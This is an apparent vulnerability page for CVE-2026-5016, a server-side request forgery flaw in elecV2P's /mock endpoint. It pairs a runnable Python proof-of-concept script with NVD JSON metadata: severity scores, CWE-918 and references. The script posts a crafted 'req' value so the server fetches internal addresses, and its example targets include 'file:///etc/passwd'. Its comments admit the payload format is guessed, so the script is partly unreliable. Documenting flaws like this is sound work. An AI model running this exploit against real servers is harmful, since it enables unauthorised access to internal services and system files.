CVE-2026-5016

import requests def exploit_ssrf(target_url, internal_url): """ Proof of Concept for CVE-2026-5016 SSRF vulnerability. This script sends a malicious request to the vulnerable /mock endpoint. """ # The vulnerable endpoint is typically /mock based on the description full_url = f"{target_url}/mock" # Construct the payload manipulating the 'req' argument # The exact JSON structure depends on the eAxios implementation payload = { "req": internal_url # e.g., "http://127.0.0.1:22" or "file:///etc/passwd" } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-5016-Scanner" } try: print(f"[*] Sending SSRF request to {full_url} targeting {internal_url}") response = requests.post(full_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully!") print("[+] Response body:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL and internal service to test target = "http://127.0.0.1:8000" internal_target = "http://127.0.0.1:80" exploit_ssrf(target, internal_target)

{"cve": {"id": "CVE-2026-5016", "sourceIdentifier": "[email protected]", "published": "2026-03-28T22:15:58.120", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in elecV2 elecV2P up to 3.8.3. This affects the function eAxios of the file /mock of the component URL Handler. Such manipulation of the argument req leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet."}, {"lang": "es", "value": "Una vulnerabilidad fue identificada en elecV2 elecV2P hasta 3.8.3. Esto afecta la función eAxios del archivo /mock del componente URL Gestor. Dicha manipulación del argumento req conduce a falsificación de petición del lado del servidor. Es posible lanzar el ataque remotamente. El exploit está disponible públicamente y podría ser utilizado. El proyecto fue informado del problema tempranamente a través de un informe de problema pero aún no ha respondido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/elecV2/elecV2P/", "source": "[email protected]"}, {"url": "https://github.com/elecV2/elecV2P/issues/202", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/779181", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/353901", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/353901/cti", "source": "[email protected]"}]}}